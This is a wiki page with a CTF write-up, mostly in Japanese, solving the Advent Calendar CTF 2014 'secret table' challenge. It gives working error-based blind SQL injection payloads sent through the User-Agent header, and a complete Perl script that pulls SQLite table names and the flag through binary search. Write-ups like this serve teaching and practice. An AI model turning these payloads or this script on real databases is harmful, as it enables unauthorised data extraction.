Login
Immutable PageDiscussionInfoAttachments

Your search query "linkto:"ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-14"" didn't return any results. Please change some terms and refer to HelpOnSearching for more information.
(!) Consider performing a full-text search with your search terms.

Clear message
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-14

MMA

secret table

問題

Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code.

secrettable.adctf2014.katsudon.org

メモ

解法

エラーベースのブラインドSQLインジェクション。ユーザエージェントに徐ろに' or ... -- を流し込む。 エラーはゼロ除算で作り出す。SQLiteでは真偽値が0,1なので,判定式の結果で除算すれば良い。

次の操作で文字列を特定する。

  1. 長さについて,半開区間[1, ∞)の探索を行う。区間を倍に増やしながら上の値を見つけて,その後に二分探索を行う。
  2. それぞれの文字を二分探索で特定する。hexが便利。

   1 #!/usr/bin/perl
   2 use strict;
   3 use warnings;
   4 my $url = "http://secrettable.adctf2014.katsudon.org/";
   5 
   6 # my $target = "(select tbl_name from sqlite_master where type=='table' LIMIT 1,1)";
   7 # => super_secret_flag__Ds7KLcV9 
   8 
   9 # my $target = "(select sql from sqlite_master where type=='table' LIMIT 1,1)";
  10 # => CREATE TABLE super_secret_flag__Ds7KLcV9 (yo_yo_you_are_enjoying_blind_sqli TEXT)
  11 
  12 my $target = "(select yo_yo_you_are_enjoying_blind_sqli from super_secret_flag__Ds7KLcV9 LIMIT 0,1)";
  13 # => ADCTF_ERR0r_hELP5_8L1nd_5Ql1
  14 
  15 sub system_pipe {
  16     my @args = @_;
  17     open my $pipe, "-|", @args or return;
  18     my @result = <$pipe>;
  19     join "", @result;
  20 }
  21 
  22 sub try_access {
  23     my $ua = shift;
  24     #print "$ua\n";
  25     
  26     # https://twitter.com/akiym/status/543794771018276865
  27     # > sleep a few seconds, plz :) sleeping is awesome and don't be evil hacker!
  28     # yes, sir!
  29     sleep 2;
  30 
  31     my $result = system_pipe "curl", "-s", "-A", $ua, $url;
  32     if ($result =~ /secret table/) {
  33         # non error
  34         return 1;
  35     } else {
  36         return 0;
  37     }
  38 }
  39 
  40 sub is_char_greater_than {
  41     my $i = int shift;
  42     my $c = int shift;
  43     my $chex = sprintf "%02X", $c;
  44 
  45     print "? string[$i] > $c\n";
  46 
  47     my $successed = try_access(
  48         "' or 1/(hex(substr($target, $i, 1)) > '$chex')) -- "
  49         );
  50 
  51     return $successed;
  52 }
  53 
  54 sub is_length_greater_than {
  55     my $length = int(shift);
  56 
  57     print "? length > $length\n";
  58 
  59     my $successed = try_access(
  60         "' or 1/(length($target) > $length)) -- "
  61         );
  62 
  63     return $successed;
  64 }
  65 
  66 # [left, right]
  67 sub binsearch {
  68     my $left = shift;
  69     my $right = shift;
  70     my $cond_greater_than = shift;
  71     while ($left < $right) {
  72         my $mid = int(($left+$right)/2);
  73         if ($cond_greater_than->($mid)) {
  74             $left = $mid + 1;
  75         } else {
  76             $right = $mid;
  77         }
  78     }
  79     if ($left > $right) { return undef; }
  80     else { return $left; }
  81 }
  82 # [left, infinity)
  83 sub binsearch_halfopen {
  84     my $left = shift;
  85     my $cond_greater_than = shift;
  86     my $right = $left;
  87     while ($cond_greater_than->($right)) {
  88         $left = $right + 1;
  89         $right *= 2;
  90     }
  91     return binsearch($left, $right, $cond_greater_than);
  92 }
  93 
  94 my $length = binsearch_halfopen(1, \&is_length_greater_than);
  95 die unless defined $length;
  96 print "length: $length\n";
  97 
  98 my $s = "";
  99 for my $i (1..$length) {
 100     my $c = binsearch(0x00, 0xff, sub { is_char_greater_than($i, shift) });
 101     die unless defined $c;
 102     $s .= chr($c);
 103 }
 104 print "string: $s\n";